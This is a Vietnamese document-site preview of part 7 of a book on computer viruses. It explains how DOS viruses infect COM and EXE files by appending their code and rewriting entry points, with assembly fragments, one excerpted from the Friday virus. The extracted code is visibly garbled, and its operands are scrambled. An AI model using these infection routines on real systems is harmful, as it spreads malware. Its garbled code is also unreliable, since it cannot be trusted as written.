virus - huyền thoại hay thực tế phần 7

Tham khảo tài liệu 'virus - huyền thoại hay thực tế phần 7', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | mov DX CX mov int AX 4200h 21h DI kích thước mới Ghi file mov CX DI CX kích thước mới - số byte cần ghi xor DX DX mov int AH 40h DS DX buffer vừa tiến hành xong 21h Trích Friday virus . Append File Phương pháp này chép progvi vào cuối file đối tượng tùy theo loại file sẽ có cách định vị khác nhau. Đố i với file COM mọi chuyện đơn giản dời con trỏ đến cuối file ghi progvi vào bước nhảy đầu chương trình được tính bằng kích thước cũ của file mới trừ đi 3 byte. Đoạn mã sau minh họa kĩ thuật này Mở file mov int AX 03D02h Mở để đọc ghi 21h jb error Chuyển đến cuố i file mov BX AX mov AX 4202h xor CX CX xor int call DX DX 21h writeProgvi Chuyển lên đầu file gi lệnh nhảy mov AX 4200h xor CX CX xor int jb mov add DX DX 21h error AX filesize AX -2 Đố i với file .EXE dù có vẻ phức tạp với việc định vị lại các đầu vào nhưng lại dề dàng với các bước sau Tính kích thước file có thể đơn giản bằng cách dời con trỏ file đến cuố i file tuy nhiên thông tin từ .EXE header cũng đủ cho phép tính kích thước này. Ghi progvi vào cuối file tương tự file COM. Định vị giá trị CS và IP nên định vị luôn SS và SP. Đoạn mã sau minh họa cách định vị Giả sử buffer đọc file là .EXE header buffer đã được virus đọc 28 byte vào .EXE_header IDFile dw Giá trị 4D5A là file .EXE 80 PartPage dw PageCnt dw ReloCnt dw HdrSize dw MinMem dw MaxMem dw ReloSS dw .EXESP dw ChkSum dw .EXEIP dw ReloCS dw TablOff dw Giá tri kích thước file sẽ được lưu ở đây FilesizeHi dw Pagesize dw 200 FilesizeLo dw Parasize dw 10h Giá tri đầu vào file cũ ở đây SSValue dw SPValue dw IPValue dw CSValue dw Đoạn mã chương trình mov ChkSum 1984h mov AX ReloSS Cất các entry của mov SSValue AX CS IP mov AX .EXESP SS SP mov SPValue AX mov AX .EXEIP mov IPValue AX mov AX ReloSS mov CSValue AX Chỉnh kích thước file theo đoạn mov DX filesizeHi mov AX FilesiaeLo add AX Fh adc DX 0 and AX FFFOh mov filesizeHi DX mov filesizeLo AX Tính kích thước mới sau khi công thêm progvi add AX 6B4h adc DX 0 Kích thước Progvi là 1716 byte

Không thể tạo bản xem trước, hãy bấm tải xuống
TỪ KHÓA LIÊN QUAN
TÀI LIỆU MỚI ĐĂNG
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.